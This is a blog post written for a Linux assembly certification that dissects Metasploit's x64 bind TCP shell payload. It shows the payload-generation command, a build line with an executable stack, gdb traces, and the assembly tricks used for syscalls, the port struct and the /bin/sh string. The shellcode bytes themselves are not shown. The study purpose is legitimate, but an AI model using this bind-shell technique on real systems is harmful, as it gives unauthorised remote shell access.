Saturday, December 20, 2014

A Look at the linux/x64/shell_bind_tcp Metasploit Payload

After I finished micro optimizing my bind TCP port shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 86 bytes and the payload always contains null-bytes, even if your port does not have one.  Even though the version I created already had 81 bytes, I thought there might be something to learn from Metasploit's version.

root@kali:~/# msfpayload linux/x64/shell_bind_tcp RPORT=4444 C
 * linux/x64/shell_bind_tcp - 86 bytes

I threw this into a C file.

unsigned char sc[] =

    (*(void(*)()) sc)();

I compiled it: gcc -m64 -z execstack msfbind.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

I discovered they were able to shrink their register fixing and first syscall into 12 bytes, whereas mine was 13.  Here is a high level look at what they did to accomplish this:

push   0x29
pop    rax
push   0x2
pop    rdi
push   0x1
pop    rsi

You can compare that with my version, which uses the xor esi, esi and mul esi to clear 3 registers.  Here the same is done with cdq to clear out the pollution, and then qword pushes popped directly into the registers. In a future release of my own shellcode I would make this change.

Next though, we come across one of the first instances of a null-byte.  It is part of the struct sock_addr that is used, where the port and address family is specified.

0x000000000060088f in sc ()
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088f <sc+15>:    movl   $0x5c110002,(%rsp)

When I was writing my own shellcode, I had to make a sacrifice. I probably could have shrunk even more bytes if I didn't make the PORT configurable.  However, doing so may be the reason I went about things differently, and 0'd out that area of the struct by pushing a 0 register twice. This is definitely less bytes, but of course has the null.

The next parts of this shellcode are all pretty standard.  I didn't see too much more I could do in terms of shrinkage, and my own execution was very similar to this payload's.

I did want to point out another area though where the null-byte is used, as the terminator for the "/bin/sh" string. I got around this by first pushing a 0 register on the stack, and then naming the string "//bin/sh" to fill in the extra byte.

(gdb) x/i $rip
=> 0x6008c1 <sc+65>:    movabs $0x68732f6e69622f,%rbx
(gdb) x/3x $rip
0x6008c1 <sc+65>:    0x622fbb48    0x732f6e69    0x48530068
(gdb) .

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

No comments :

Post a Comment